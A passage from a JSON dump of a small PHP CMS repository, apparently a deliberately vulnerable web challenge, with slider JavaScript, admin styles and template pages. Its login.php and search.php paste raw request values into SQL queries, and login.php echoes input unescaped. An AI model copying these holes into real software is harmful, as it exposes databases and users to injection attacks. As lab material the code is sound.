slider.last = slider.count - 1;\n      }\n      slider.computedW = slider.itemW - slider.boxPadding;\n    }\n    \n    slider.update = function(pos, action) {\n      slider.doMath();\n      \n      // update currentSlide and slider.animatingTo if necessary\n      if (!carousel) {\n        if (pos < slider.currentSlide) {\n          slider.currentSlide += 1;\n        } else if (pos <= slider.currentSlide && pos !== 0) {\n          slider.currentSlide -= 1;\n        }\n        slider.animatingTo = slider.currentSlide;\n      }\n      \n      // update controlNav\n      if (vars.controlNav && !slider.manualControls) {\n        if ((action === \"add\" && !carousel) || slider.pagingCount > slider.controlNav.length) {\n          methods.controlNav.update(\"add\");\n        } else if ((action === \"remove\" && !carousel) || slider.pagingCount < slider.controlNav.length) {\n          if (carousel && slider.currentSlide > slider.last) {\n            slider.currentSlide -= 1;\n            slider.animatingTo -= 1;\n          }\n          methods.controlNav.update(\"remove\", slider.last);\n        }\n      }\n      // update directionNav\n      if (vars.directionNav) methods.directionNav.update();\n      \n    }\n    \n    slider.addSlide = function(obj, pos) {\n      var $obj = $(obj);\n      \n      slider.count += 1;\n      slider.last = slider.count - 1;\n      \n      // append new slide\n      if (vertical && reverse) {\n        (pos !== undefined) ? slider.slides.eq(slider.count - pos).after($obj) : slider.container.prepend($obj);\n      } else {\n        (pos !== undefined) ? slider.slides.eq(pos).before($obj) : slider.container.append($obj);\n      }\n      \n      // update currentSlide, animatingTo, controlNav, and directionNav\n      slider.update(pos, \"add\");\n      \n      // update slider.slides\n      slider.slides = $(vars.selector + ':not(.clone)', slider);\n      // re-setup the slider to accomdate new slide\n      slider.setup();\n      \n      //FlexSlider: added() Callback\n      vars.added(slider);\n    }\n    slider.removeSlide = function(obj) {\n      var pos = (isNaN(obj)) ? slider.slides.index($(obj)) : obj;\n      \n      // update count\n      slider.count -= 1;\n      slider.last = slider.count - 1;\n      \n      // remove slide\n      if (isNaN(obj)) {\n        $(obj, slider.slides).remove();\n      } else {\n        (vertical && reverse) ? slider.slides.eq(slider.last).remove() : slider.slides.eq(obj).remove();\n      }\n      \n      // update currentSlide, animatingTo, controlNav, and directionNav\n      slider.doMath();\n      slider.update(pos, \"remove\");\n      \n      // update slider.slides\n      slider.slides = $(vars.selector + ':not(.clone)', slider);\n      // re-setup the slider to accomdate new slide\n      slider.setup();\n      \n      // FlexSlider: removed() Callback\n      vars.removed(slider);\n    }\n    \n    //FlexSlider: Initialize\n    methods.init();\n  }\n  \n  //FlexSlider: Default Settings\n  $.flexslider.defaults = {\n    namespace: \"flex-\",             //{NEW} String: Prefix string attached to the class of every element generated by the plugin\n    selector: \".slides > li\",       //{NEW} Selector: Must match a simple pattern. '{container} > {slide}' -- Ignore pattern at your own peril\n    animation: \"fade\",              //String: Select your animation type, \"fade\" or \"slide\"\n    easing: \"swing\",               //{NEW} String: Determines the easing method used in jQuery transitions. jQuery easing plugin is supported!\n    direction: \"horizontal\",        //String: Select the sliding direction, \"horizontal\" or \"vertical\"\n    reverse: false,                 //{NEW} Boolean: Reverse the animation direction\n    animationLoop: true,             //Boolean: Should the animation loop? If false, directionNav will received \"disable\" classes at either end\n    smoothHeight: false,            //{NEW} Boolean: Allow height of the slider to animate smoothly in horizontal mode  \n    startAt: 0,                     //Integer: The slide that the slider should start on. Array notation (0 = first slide)\n    slideshow: true,                //Boolean: Animate slider automatically\n    slideshowSpeed: 7000,           //Integer: Set the speed of the slideshow cycling, in milliseconds\n    animationSpeed: 600,            //Integer: Set the speed of animations, in milliseconds\n    initDelay: 0,                   //{NEW} Integer: Set an initialization delay, in milliseconds\n    randomize: false,               //Boolean: Randomize slide order\n    \n    // Usability features\n    pauseOnAction: true,            //Boolean: Pause the slideshow when interacting with control elements, highly recommended.\n    pauseOnHover: false,            //Boolean: Pause the slideshow when hovering over slider, then resume when no longer hovering\n    useCSS: true,                   //{NEW} Boolean: Slider will use CSS3 transitions if available\n    touch: true,                    //{NEW} Boolean: Allow touch swipe navigation of the slider on touch-enabled devices\n    video: false,                   //{NEW} Boolean: If using video in the slider, will prevent CSS3 3D Transforms to avoid graphical glitches\n    \n    // Primary Controls\n    controlNav: true,               //Boolean: Create navigation for paging control of each clide? Note: Leave true for manualControls usage\n    directionNav: true,             //Boolean: Create navigation for previous/next navigation? (true/false)\n    prevText: \"Previous\",           //String: Set the text for the \"previous\" directionNav item\n    nextText: \"Next\",               //String: Set the text for the \"next\" directionNav item\n    \n    // Secondary Navigation\n    keyboard: true,                 //Boolean: Allow slider navigating via keyboard left/right keys\n    multipleKeyboard: false,        //{NEW} Boolean: Allow keyboard navigation to affect multiple sliders. Default behavior cuts out keyboard navigation with more than one slider present.\n    mousewheel: false,              //{UPDATED} Boolean: Requires jquery.mousewheel.js (https://github.com/brandonaaron/jquery-mousewheel) - Allows slider navigating via mousewheel\n    pausePlay: false,               //Boolean: Create pause/play dynamic element\n    pauseText: \"Pause\",             //String: Set the text for the \"pause\" pausePlay item\n    playText: \"Play\",               //String: Set the text for the \"play\" pausePlay item\n    \n    // Special properties\n    controlsContainer: \"\",          //{UPDATED} jQuery Object/Selector: Declare which container the navigation elements should be appended too. Default container is the FlexSlider element. Example use would be $(\".flexslider-container\"). Property is ignored if given element is not found.\n    manualControls: \"\",             //{UPDATED} jQuery Object/Selector: Declare custom control navigation. Examples would be $(\".flex-control-nav li\") or \"#tabs-nav li img\", etc. The number of elements in your controlNav should match the number of slides/tabs.\n    sync: \"\",                       //{NEW} Selector: Mirror the actions performed on this slider with another slider. Use with care.\n    asNavFor: \"\",                   //{NEW} Selector: Internal property exposed for turning the slider into a thumbnail navigation for another slider\n    \n    // Carousel Options\n    itemWidth: 0,                   //{NEW} Integer: Box-model width of individual carousel items, including horizontal borders and padding.\n    itemMargin: 0,                  //{NEW} Integer: Margin between carousel items.\n    minItems: 0,                    //{NEW} Integer: Minimum number of carousel items that should be visible. Items will resize fluidly when below this.\n    maxItems: 0,                    //{NEW} Integer: Maxmimum number of carousel items that should be visible. Items will resize fluidly when above this limit.\n    move: 0,                        //{NEW} Integer: Number of carousel items that should move on animation. If 0, slider will move all visible items.\n                                    \n    // Callback API\n    start: function(){},            //Callback: function(slider) - Fires when the slider loads the first slide\n    before: function(){},           //Callback: function(slider) - Fires asynchronously with each slider animation\n    after: function(){},            //Callback: function(slider) - Fires after each slider animation completes\n    end: function(){},              //Callback: function(slider) - Fires when the slider reaches the last slide (asynchronous)\n    added: function(){},            //{NEW} Callback: function(slider) - Fires after a slide is added\n    removed: function(){}           //{NEW} Callback: function(slider) - Fires after a slide is removed\n  }\n\n\n  //FlexSlider: Plugin Function\n  $.fn.flexslider = function(options) {\n    if (options === undefined) options = {};\n    \n    if (typeof options === \"object\") {\n      return this.each(function() {\n        var $this = $(this),\n            selector = (options.selector) ? options.selector : \".slides > li\",\n            $slides = $this.find(selector);\n\n        if ($slides.length === 1) {\n          $slides.fadeIn(400);\n          if (options.start) options.start($this);\n        } else if ($this.data('flexslider') == undefined) {\n          new $.flexslider(this, options);\n        }\n      });\n    } else {\n      // Helper strings to quickly perform functions on the slider\n      var $slider = $(this).data('flexslider');\n      switch (options) {\n        case \"play\": $slider.play(); break;\n        case \"pause\": $slider.pause(); break;\n        case \"next\": $slider.flexAnimate($slider.getTarget(\"next\"), true); break;\n        case \"prev\":\n        case \"previous\": $slider.flexAnimate($slider.getTarget(\"prev\"), true); break;\n        default: if (typeof options === \"number\") $slider.flexAnimate(options, true);\n      }\n    }\n  }  \n\n})(jQuery);"
  },
  {
    "path": "web_simplecms/simplecms/js/sb-admin-2.js",
    "content": "$(function() {\n    $('#side-menu').metisMenu();\n});\n\n//Loads the correct sidebar on window load,\n//collapses the sidebar on window resize.\n// Sets the min-height of #page-wrapper to window size\n$(function() {\n    $(window).bind(\"load resize\", function() {\n        var topOffset = 50;\n        var width = (this.window.innerWidth > 0) ? this.window.innerWidth : this.screen.width;\n        if (width < 768) {\n            $('div.navbar-collapse').addClass('collapse');\n            topOffset = 100; // 2-row-menu\n        } else {\n            $('div.navbar-collapse').removeClass('collapse');\n        }\n\n        var height = ((this.window.innerHeight > 0) ? this.window.innerHeight : this.screen.height) - 1;\n        height = height - topOffset;\n        if (height < 1) height = 1;\n        if (height > topOffset) {\n            $(\"#page-wrapper\").css(\"min-height\", (height) + \"px\");\n        }\n    });\n\n    var url = window.location;\n    // var element = $('ul.nav a').filter(function() {\n    //     return this.href == url;\n    // }).addClass('active').parent().parent().addClass('in').parent();\n    var element = $('ul.nav a').filter(function() {\n        return this.href == url;\n    }).addClass('active').parent();\n\n    while (true) {\n        if (element.is('li')) {\n            element = element.parent().addClass('in').parent();\n        } else {\n            break;\n        }\n    }\n});\n"
  },
  {
    "path": "web_simplecms/simplecms/less/mixins.less",
    "content": "// Mixins\n"
  },
  {
    "path": "web_simplecms/simplecms/less/sb-admin-2.less",
    "content": "@import \"variables.less\";\n@import \"mixins.less\";\n\n// Global Styles\n\nbody {\n    background-color: @gray-lightest;\n}\n\n// Wrappers\n\n#wrapper {\n    width: 100%;\n}\n\n#page-wrapper {\n    padding: 0 15px;\n    min-height: 568px;\n    background-color: white;\n}\n\n@media(min-width:768px) {\n    #page-wrapper {\n        position: inherit;\n        margin: 0 0 0 250px;\n        padding: 0 30px;\n        border-left: 1px solid darken(@gray-lightest, 6.5%);\n    }\n}\n\n// Navigation\n\n// --Topbar\n\n.navbar-top-links {\n    margin-right: 0;\n}\n\n.navbar-top-links li {\n    display: inline-block;\n}\n\n.navbar-top-links li:last-child {\n    margin-right: 15px;\n}\n\n.navbar-top-links li a {\n    padding: 15px;\n    min-height: 50px;\n}\n\n.navbar-top-links .dropdown-menu li {\n    display: block;\n}\n\n.navbar-top-links .dropdown-menu li:last-child {\n    margin-right: 0;\n}\n\n.navbar-top-links .dropdown-menu li a {\n    padding: 3px 20px;\n    min-height: 0;\n}\n\n.navbar-top-links .dropdown-menu li a div {\n    white-space: normal;\n}\n\n.navbar-top-links .dropdown-messages,\n.navbar-top-links .dropdown-tasks,\n.navbar-top-links .dropdown-alerts {\n    width: 310px;\n    min-width: 0;\n}\n\n.navbar-top-links .dropdown-messages {\n    margin-left: 5px;\n}\n\n.navbar-top-links .dropdown-tasks {\n    margin-left: -59px;\n}\n\n.navbar-top-links .dropdown-alerts {\n    margin-left: -123px;\n}\n\n.navbar-top-links .dropdown-user {\n    right: 0;\n    left: auto;\n}\n\n// --Sidebar\n\n.sidebar {\n    .sidebar-nav.navbar-collapse {\n        padding-left: 0;\n        padding-right: 0;\n    }\n}\n\n.sidebar .sidebar-search {\n    padding: 15px;\n}\n\n.sidebar ul li {\n    border-bottom: 1px solid darken(@gray-lightest, 6.5%);\n    a {\n        &.active {\n            background-color: @gray-lighter;\n        }\n    }\n}\n\n.sidebar .arrow {\n    float: right;\n}\n\n.sidebar .fa.arrow:before {\n    content: \"\\f104\";\n}\n\n.sidebar .active > a > .fa.arrow:before {\n    content: \"\\f107\";\n}\n\n.sidebar .nav-second-level li,\n.sidebar .nav-third-level li {\n    border-bottom: none !important;\n}\n\n.sidebar .nav-second-level li a {\n    padding-left: 37px;\n}\n\n.sidebar .nav-third-level li a {\n    padding-left: 52px;\n}\n\n@media(min-width:768px) {\n    .sidebar {\n        z-index: 1;\n        position: absolute;\n        width: 250px;\n        margin-top: 51px;\n    }\n\n    .navbar-top-links .dropdown-messages,\n    .navbar-top-links .dropdown-tasks,\n    .navbar-top-links .dropdown-alerts {\n        margin-left: auto;\n    }\n}\n\n// Buttons\n\n.btn-outline {\n    color: inherit;\n    background-color: transparent;\n    transition: all .5s;\n}\n\n.btn-primary.btn-outline {\n    color: @brand-primary;\n}\n\n.btn-success.btn-outline {\n    color: @brand-success;\n}\n\n.btn-info.btn-outline {\n    color: @brand-info;\n}\n\n.btn-warning.btn-outline {\n    color: @brand-warning;\n}\n\n.btn-danger.btn-outline {\n    color: @brand-danger;\n}\n\n.btn-primary.btn-outline:hover,\n.btn-success.btn-outline:hover,\n.btn-info.btn-outline:hover,\n.btn-warning.btn-outline:hover,\n.btn-danger.btn-outline:hover {\n    color: white;\n}\n\n// Chat Widget\n\n.chat {\n    margin: 0;\n    padding: 0;\n    list-style: none;\n}\n\n.chat li {\n    margin-bottom: 10px;\n    padding-bottom: 5px;\n    border-bottom: 1px dotted @gray-light;\n}\n\n.chat li.left .chat-body {\n    margin-left: 60px;\n}\n\n.chat li.right .chat-body {\n    margin-right: 60px;\n}\n\n.chat li .chat-body p {\n    margin: 0;\n}\n\n.panel .slidedown .glyphicon,\n.chat .glyphicon {\n    margin-right: 5px;\n}\n\n.chat-panel .panel-body {\n    height: 350px;\n    overflow-y: scroll;\n}\n\n// Login Page\n\n.login-panel {\n    margin-top: 25%;\n}\n\n// Flot Charts Containers\n\n.flot-chart {\n    display: block;\n    height: 400px;\n}\n\n.flot-chart-content {\n    width: 100%;\n    height: 100%;\n}\n\n// DataTables Overrides\n\ntable.dataTable thead .sorting,\ntable.dataTable thead .sorting_asc,\ntable.dataTable thead .sorting_desc,\ntable.dataTable thead .sorting_asc_disabled,\ntable.dataTable thead .sorting_desc_disabled {\n    background: transparent;\n}\n\ntable.dataTable thead .sorting_asc:after {\n    content: \"\\f0de\";\n    float: right;\n    font-family: fontawesome;\n}\n\ntable.dataTable thead .sorting_desc:after {\n    content: \"\\f0dd\";\n    float: right;\n    font-family: fontawesome;\n}\n\ntable.dataTable thead .sorting:after {\n    content: \"\\f0dc\";\n    float: right;\n    font-family: fontawesome;\n    color: rgba(50,50,50,.5);\n}\n\n// Circle Buttons \n\n.btn-circle {\n    width: 30px;\n    height: 30px;\n    padding: 6px 0;\n    border-radius: 15px;\n    text-align: center;\n    font-size: 12px;\n    line-height: 1.428571429;\n}\n\n.btn-circle.btn-lg {\n    width: 50px;\n    height: 50px;\n    padding: 10px 16px;\n    border-radius: 25px;\n    font-size: 18px;\n    line-height: 1.33;\n}\n\n.btn-circle.btn-xl {\n    width: 70px;\n    height: 70px;\n    padding: 10px 16px;\n    border-radius: 35px;\n    font-size: 24px;\n    line-height: 1.33;\n}\n\n// Grid Demo Elements\n\n.show-grid [class^=\"col-\"] {\n    padding-top: 10px;\n    padding-bottom: 10px;\n    border: 1px solid #ddd;\n    background-color: #eee !important;\n}\n\n.show-grid {\n    margin: 15px 0;\n}\n\n// Custom Colored Panels\n\n.huge {\n    font-size: 40px;\n}\n\n.panel-green {\n    border-color: @brand-success;\n    > .panel-heading {\n        border-color: @brand-success;\n        color: white;\n        background-color: @brand-success;\n    }\n    > a {\n        color: @brand-success;\n        &:hover {\n            color: darken(@brand-success, 15%);\n        }\n    }\n}\n\n.panel-red {\n    border-color: @brand-danger;\n    > .panel-heading {\n        border-color: @brand-danger;\n        color: white;\n        background-color: @brand-danger;\n    }\n    > a {\n        color: @brand-danger;\n        &:hover {\n            color: darken(@brand-danger, 15%);\n        }\n    }\n}\n\n.panel-yellow {\n    border-color: @brand-warning;\n    > .panel-heading {\n        border-color: @brand-warning;\n        color: white;\n        background-color: @brand-warning;\n    }\n    > a {\n        color: @brand-warning;\n        &:hover {\n            color: darken(@brand-warning, 15%);\n        }\n    }\n}\n\n// Timeline\n.timeline {\n    position: relative;\n    padding: 20px 0 20px;\n    list-style: none;\n}\n\n.timeline:before {\n    content: \" \";\n    position: absolute;\n    top: 0;\n    bottom: 0;\n    left: 50%;\n    width: 3px;\n    margin-left: -1.5px;\n    background-color: #eeeeee;\n}\n\n.timeline > li {\n    position: relative;\n    margin-bottom: 20px;\n}\n\n.timeline > li:before,\n.timeline > li:after {\n    content: \" \";\n    display: table;\n}\n\n.timeline > li:after {\n    clear: both;\n}\n\n.timeline > li:before,\n.timeline > li:after {\n    content: \" \";\n    display: table;\n}\n\n.timeline > li:after {\n    clear: both;\n}\n\n.timeline > li > .timeline-panel {\n    float: left;\n    position: relative;\n    width: 46%;\n    padding: 20px;\n    border: 1px solid #d4d4d4;\n    border-radius: 2px;\n    -webkit-box-shadow: 0 1px 6px rgba(0,0,0,0.175);\n    box-shadow: 0 1px 6px rgba(0,0,0,0.175);\n}\n\n.timeline > li > .timeline-panel:before {\n    content: \" \";\n    display: inline-block;\n    position: absolute;\n    top: 26px;\n    right: -15px;\n    border-top: 15px solid transparent;\n    border-right: 0 solid #ccc;\n    border-bottom: 15px solid transparent;\n    border-left: 15px solid #ccc;\n}\n\n.timeline > li > .timeline-panel:after {\n    content: \" \";\n    display: inline-block;\n    position: absolute;\n    top: 27px;\n    right: -14px;\n    border-top: 14px solid transparent;\n    border-right: 0 solid #fff;\n    border-bottom: 14px solid transparent;\n    border-left: 14px solid #fff;\n}\n\n.timeline > li > .timeline-badge {\n    z-index: 100;\n    position: absolute;\n    top: 16px;\n    left: 50%;\n    width: 50px;\n    height: 50px;\n    margin-left: -25px;\n    border-radius: 50% 50% 50% 50%;\n    text-align: center;\n    font-size: 1.4em;\n    line-height: 50px;\n    color: #fff;\n    background-color: #999999;\n}\n\n.timeline > li.timeline-inverted > .timeline-panel {\n    float: right;\n}\n\n.timeline > li.timeline-inverted > .timeline-panel:before {\n    right: auto;\n    left: -15px;\n    border-right-width: 15px;\n    border-left-width: 0;\n}\n\n.timeline > li.timeline-inverted > .timeline-panel:after {\n    right: auto;\n    left: -14px;\n    border-right-width: 14px;\n    border-left-width: 0;\n}\n\n.timeline-badge.primary {\n    background-color: #2e6da4 !important;\n}\n\n.timeline-badge.success {\n    background-color: #3f903f !important;\n}\n\n.timeline-badge.warning {\n    background-color: #f0ad4e !important;\n}\n\n.timeline-badge.danger {\n    background-color: #d9534f !important;\n}\n\n.timeline-badge.info {\n    background-color: #5bc0de !important;\n}\n\n.timeline-title {\n    margin-top: 0;\n    color: inherit;\n}\n\n.timeline-body > p,\n.timeline-body > ul {\n    margin-bottom: 0;\n}\n\n.timeline-body > p + p {\n    margin-top: 5px;\n}\n\n@media(max-width:767px) {\n    ul.timeline:before {\n        left: 40px;\n    }\n\n    ul.timeline > li > .timeline-panel {\n        width: calc(100% - 90px);\n        width: -moz-calc(100% - 90px);\n        width: -webkit-calc(100% - 90px);\n    }\n\n    ul.timeline > li > .timeline-badge {\n        top: 16px;\n        left: 15px;\n        margin-left: 0;\n    }\n\n    ul.timeline > li > .timeline-panel {\n        float: right;\n    }\n\n    ul.timeline > li > .timeline-panel:before {\n        right: auto;\n        left: -15px;\n        border-right-width: 15px;\n        border-left-width: 0;\n    }\n\n    ul.timeline > li > .timeline-panel:after {\n        right: auto;\n        left: -14px;\n        border-right-width: 14px;\n        border-left-width: 0;\n    }\n}\n"
  },
  {
    "path": "web_simplecms/simplecms/less/variables.less",
    "content": "// Variables\n\n@gray-darker: lighten(#000, 13.5%);\n@gray-dark: lighten(#000, 20%);\n@gray: lighten(#000, 33.5%);\n@gray-light: lighten(#000, 60%);\n@gray-lighter: lighten(#000, 93.5%);\n@gray-lightest: lighten(#000, 97.25%);\n@brand-primary: #428bca;\n@brand-success: #5cb85c;\n@brand-info: #5bc0de;\n@brand-warning: #f0ad4e;\n@brand-danger: #d9534f;\n\n"
  },
  {
    "path": "web_simplecms/simplecms/login.php",
    "content": "<?php\n\tinclude_once('config.php');\n\tif (!empty($_POST['username'])) {\n\t$user=$_POST['username'];\n\t$pass=$_POST['password'];\n\t$query = \"SELECT * FROM admin WHERE user_name='{$user}' and user_pass='{$pass}' \";\n\t$data = mysqli_query($dbc,$query);\t\n     if (mysqli_num_rows($data) == 1) {\n        $row = mysqli_fetch_array($data);\n\t\t$_SESSION['username'] = $row['user_name'];\n        header('Location: ./admin/index.php');\n     }else{\n       echo '<hr/><center><br/>用户名：',$user,'<br/>密码：',$pass,'<br/><br/>用户名密码错误</center>';\n       }\n       \n} \n?>\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\"><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n\n<title>Wopop</title>\n<link href=\"./Wopop_files/style_log.css\" rel=\"stylesheet\" type=\"text/css\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"./Wopop_files/style.css\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"./Wopop_files/userpanel.css\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"./Wopop_files/jquery.ui.all.css\">\n\n</head>\n\n<body class=\"login\" mycollectionplug=\"bind\">\n<div class=\"login_m\">\n<div class=\"login_logo\"><img src=\"./Wopop_files/logo.png\" width=\"196\" height=\"46\"></div>\n<div class=\"login_boder\">\n<form action=\"#\" method=\"post\">\n<div class=\"login_padding\" id=\"login_model\">\n\n  <h2>USERNAME</h2>\n  <label>\n    <input type=\"text\" name=\"username\" id=\"username\" class=\"txt_input txt_input2\" onfocus=\"if (value ==&#39;Your name&#39;){value =&#39;&#39;}\" onblur=\"if (value ==&#39;&#39;){value=&#39;Your name&#39;}\" value=\"Your name\">\n  </label>\n  <h2>PASSWORD</h2>\n  <label>\n    <input type=\"password\" name=\"password\" id=\"userpwd\" class=\"txt_input\" onfocus=\"if (value ==&#39;******&#39;){value =&#39;&#39;}\" onblur=\"if (value ==&#39;&#39;){value=&#39;******&#39;}\" value=\"******\">\n  </label>\n \n \n\n \n  <p class=\"forgot\"><a id=\"iforget\" href=\"javascript:void(0);\">Forgot your password?</a></p>\n  <div class=\"rem_sub\">\n  <div class=\"rem_sub_l\">\n  <input type=\"checkbox\" name=\"checkbox\" id=\"save_me\">\n   <label for=\"checkbox\">Remember me</label>\n   </div>\n    <label>\n      <input type=\"submit\" class=\"sub_button\" name=\"button\" id=\"button\" value=\"SIGN-IN\" style=\"opacity: 0.7;\">\n    </label>\n  </div>\n</div>\n</form>\n<div class=\"copyrights\">Collect from</div>\n\n<div id=\"forget_model\" class=\"login_padding\" style=\"display:none\">\n<br>\n\n   <h1>Forgot password</h1>\n   <br>\n   <div class=\"forget_model_h2\">(Please enter your registered email below and the system will automatically reset users’ password and send it to user’s registered email address.)</div>\n    <label>\n    <input type=\"text\" id=\"usrmail\" class=\"txt_input txt_input2\">\n   </label>\n\n \n  <div class=\"rem_sub\">\n  <div class=\"rem_sub_l\">\n   </div>\n    <label>\n     <input type=\"submit\" class=\"sub_buttons\" name=\"button\" id=\"Retrievenow\" value=\"Retrieve now\" style=\"opacity: 0.7;\">\n     　　　\n     <input type=\"submit\" class=\"sub_button\" name=\"button\" id=\"denglou\" value=\"Return\" style=\"opacity: 0.7;\">　　\n    \n    </label>\n  </div>\n</div>\n\n\n\n\n\n\n<!--login_padding  Sign up end-->\n</div><!--login_boder end-->\n</div><!--login_m end-->\n <br> <br>\n<p align=\"center\"> More Templates - Collect from</p>\n\n\n\n</body></html>"
  },
  {
    "path": "web_simplecms/simplecms/package.json",
    "content": "{\n  \"name\": \"startbootstrap-sb-admin-2\",\n  \"title\": \"SB Admin 2\",\n  \"version\": \"3.3.7+1\",\n  \"homepage\": \"#template-overviews/sb-admin-2\",\n  \"author\": \"Start Bootstrap\",\n  \"license\": {\n    \"type\": \"MIT\",\n    \"url\": \"https://github.com/BlackrockDigital/startbootstrap/blob/gh-pages/LICENSE\"\n  },\n  \"devDependencies\": {\n    \"browser-sync\": \"^2.13.0\",\n    \"gulp\": \"^3.9.1\",\n    \"gulp-clean-css\": \"^2.0.10\",\n    \"gulp-header\": \"^1.8.7\",\n    \"gulp-less\": \"^3.1.0\",\n    \"gulp-rename\": \"^1.2.2\",\n    \"gulp-uglify\": \"^1.5.4\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git://github.com/BlackrockDigital/startbootstrap-sb-admin-2.git\"\n  }\n}\n"
  },
  {
    "path": "web_simplecms/simplecms/search.php",
    "content": "<?php\n\tinclude 'header.php';\n\tinclude_once('config.php');\n\tif (!empty($_GET['id'])) {\n\t$id=$_GET['id'];\n\t$query = \"SELECT * FROM news WHERE id=$id\";\n\t$data = mysqli_query($dbc,$query);\t\n\t}\n\t$com = mysqli_fetch_array($data); \n?>\n<!-- banner -->\n\t<div class=\"banner1\">\n\t</div>\n<!-- //banner -->\n<!-- about -->\n\t<div class=\"about\">\n\t\t<div class=\"container\">\n\t\t\t<ol class=\"breadcrumb breadco\">\n\t\t\t  <li><a href=\"./index.php\">主页</a></li>\n\t\t\t  <li class=\"active\">搜索</li>\n\t\t\t</ol>\n\t\t\t<center>\n\t\t\t<div class=\"about-grids\">\n\t\t\t\t<div class=\"col-md-6 about-grid\">\n\t\t\t\t\t<h3>搜索结果</h3>\n\t\t\t\t\t<div class=\"about-gd\">\n\t\t\t\t\t\n\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\tvar_dump($com);\t\t\t\t\t\n\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n<!-- //about -->\n<?php\n\tinclude 'footer.php';\n?>\n"
  },
  {
    "path": "web_simplecms/simplecms/services.php",
    "content": "<?php\n\tinclude 'header.php';\n?>\n<!-- banner -->\n\t<div class=\"banner1\">\n\t</div>\n<!-- //banner -->\n<!-- services -->\n\t<div class=\"services\">\n\t\t<div class=\"container\">\n\t\t\t<ol class=\"breadcrumb breadco\">\n\t\t\t\t<li><a href=\"#\">Home</a></li>\n\t\t\t\t<li class=\"active\">Services</li>\n\t\t\t</ol>\n\t\t\t<div class=\"services-grid\">\n\t\t\t\t\t\t\t<div class=\"services-overview\">\n\t\t\t\t<h3>Services Overview</h3>\n\t\t\t\t<div class=\"services-overview-grids\">\n\t\t\t\t\t<div class=\"col-md-4 services-overview-grid\">\n\t\t\t\t\t\t<div class=\"services-overview-grd\">\n\t\t\t\t\t\t\t<img src=\"images/13.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t\t\t<div class=\"services-overview-gd\">\n\t\t\t\t\t\t\t\t<h4>Itaque earum rerum hic tenetur</h4>\n\t\t\t\t\t\t\t\t<p>Neque porro quisquam est, qui dolorem ipsum quia dolor \n\t\t\t\t\t\t\t\t\tsit amet, consectetur, adipisci velit, sed quia non numquam \n\t\t\t\t\t\t\t\t\teius modi tempora incidunt ut labore et dolore magnam aliquam \n\t\t\t\t\t\t\t\t\tquaerat voluptatem.</p>\n\t\t\t\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"p\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"in\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"v\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"facebook\"></a></li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-md-4 services-overview-grid\">\n\t\t\t\t\t\t<div class=\"services-overview-grd\">\n\t\t\t\t\t\t\t<img src=\"images/10.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t\t\t<div class=\"services-overview-gd\">\n\t\t\t\t\t\t\t\t<h4>Itaque earum rerum hic tenetur</h4>\n\t\t\t\t\t\t\t\t<p>Neque porro quisquam est, qui dolorem ipsum quia dolor \n\t\t\t\t\t\t\t\t\tsit amet, consectetur, adipisci velit, sed quia non numquam \n\t\t\t\t\t\t\t\t\teius modi tempora incidunt ut labore et dolore magnam aliquam \n\t\t\t\t\t\t\t\t\tquaerat voluptatem.</p>\n\t\t\t\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"p\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"in\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"v\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"facebook\"></a></li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"col-md-4 services-overview-grid\">\n\t\t\t\t\t\t<div class=\"services-overview-grd\">\n\t\t\t\t\t\t\t<img src=\"images/9.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t\t\t<div class=\"services-overview-gd\">\n\t\t\t\t\t\t\t\t<h4>Itaque earum rerum hic tenetur</h4>\n\t\t\t\t\t\t\t\t<p>Neque porro quisquam est, qui dolorem ipsum quia dolor \n\t\t\t\t\t\t\t\t\tsit amet, consectetur, adipisci velit, sed quia non numquam \n\t\t\t\t\t\t\t\t\teius modi tempora incidunt ut labore et dolore magnam aliquam \n\t\t\t\t\t\t\t\t\tquaerat voluptatem.</p>\n\t\t\t\t\t\t\t\t<ul class=\"social-icons\">\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"p\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"in\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"v\"></a></li>\n\t\t\t\t\t\t\t\t\t<li><a href=\"#\" class=\"facebook\"></a></li>\n\t\t\t\t\t\t\t\t</ul>\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t\t<div class=\"clearfix\"> </div>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"services-overview-grids\">\n\t\t\t\t\t<div class=\"col-md-4 services-overview-grid\">\n\t\t\t\t\t\t<div class=\"services-overview-grd\">\n\t\t\t\t\t\t\t<img src=\"images/8.jpg\" alt=\" \" class=\"img-responsive\" />\n\t\t\t\t\t\t\t<div 